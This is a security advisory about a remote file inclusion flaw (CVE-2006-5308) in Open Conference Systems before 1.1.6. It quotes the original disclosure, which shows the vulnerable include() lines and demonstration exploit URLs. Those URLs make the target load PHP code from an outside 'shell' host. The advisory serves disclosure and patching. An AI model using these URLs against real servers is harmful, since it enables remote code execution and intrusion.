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Category:   Application (Generic)  >   Open Conference Systems Vendors:   Public Knowledge Project
Open Conference Systems Include File Bug in 'fullpath' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1017071
SecurityTracker URL:  http://securitytracker.com/id/1017071
CVE Reference:   CVE-2006-5308   (Links to External Site)
Updated:  Jun 2 2008
Original Entry Date:  Oct 17 2006
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): prior to 1.1.6
Description:   A vulnerability was reported in Open Conference Systems. A remote user can include and execute arbitrary code on the target system.

The 'theme.inc.php' and 'footer.inc.php' scripts do not properly validate user-supplied input in the 'fullpath' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit URLs are provided:

http://[target]/ocs/include/theme.inc.php?fullpath=http://shell/cmd.gif?
http://[target]/ocs/include/footer.inc.php?fullpath=http://shell/cmd.gif?

k1tk4t reported this vulnerability.

This vulnerability is being actively exploited.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   The vendor has issued a fixed version (1.1.6), available at:

http://pkp.sfu.ca/ocs_download

Vendor URL:  pkp.sfu.ca/?q=ocs (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Open Conference Systems <= 1.1.3 Remote File Inclusion

#########################################################################
# Open Conference Systems <= 1.1.3 Remote File Inclusion
# Download Source : http://pkp.sfu.ca/ocs/download/ocs-1.1.3.tar.gz
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   --  #newhack[dot]org 
########################################################################
file ;
   theme.inc.php
   footer.inc.php
########################################################################
bugs ; 
at -- theme.inc.php
  include($fullpath."themes/$theme/theme.inc.php");
at -- footer.inc.php
  include_once($fullpath."include/theme.inc.php");  
########################################################################
exmple and methode exploit ;
  http://localhost/ocs/include/theme.inc.php?fullpath=http://shell/cmd.gif?
  http://localhost/ocs/include/footer.inc.php?fullpath=http://shell/cmd.gif?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubicrew (all member solpotcrew community)
#asiahacker
person;
y3dips,lirva32,the_day,K-159(&all echo staff) 
evilcode,illibero,NoGe(asiahacker),
nyubi,x-ace,ghoz,home_edition2001,matdhule,iFX,and for all(friend's&enemy)

 
 


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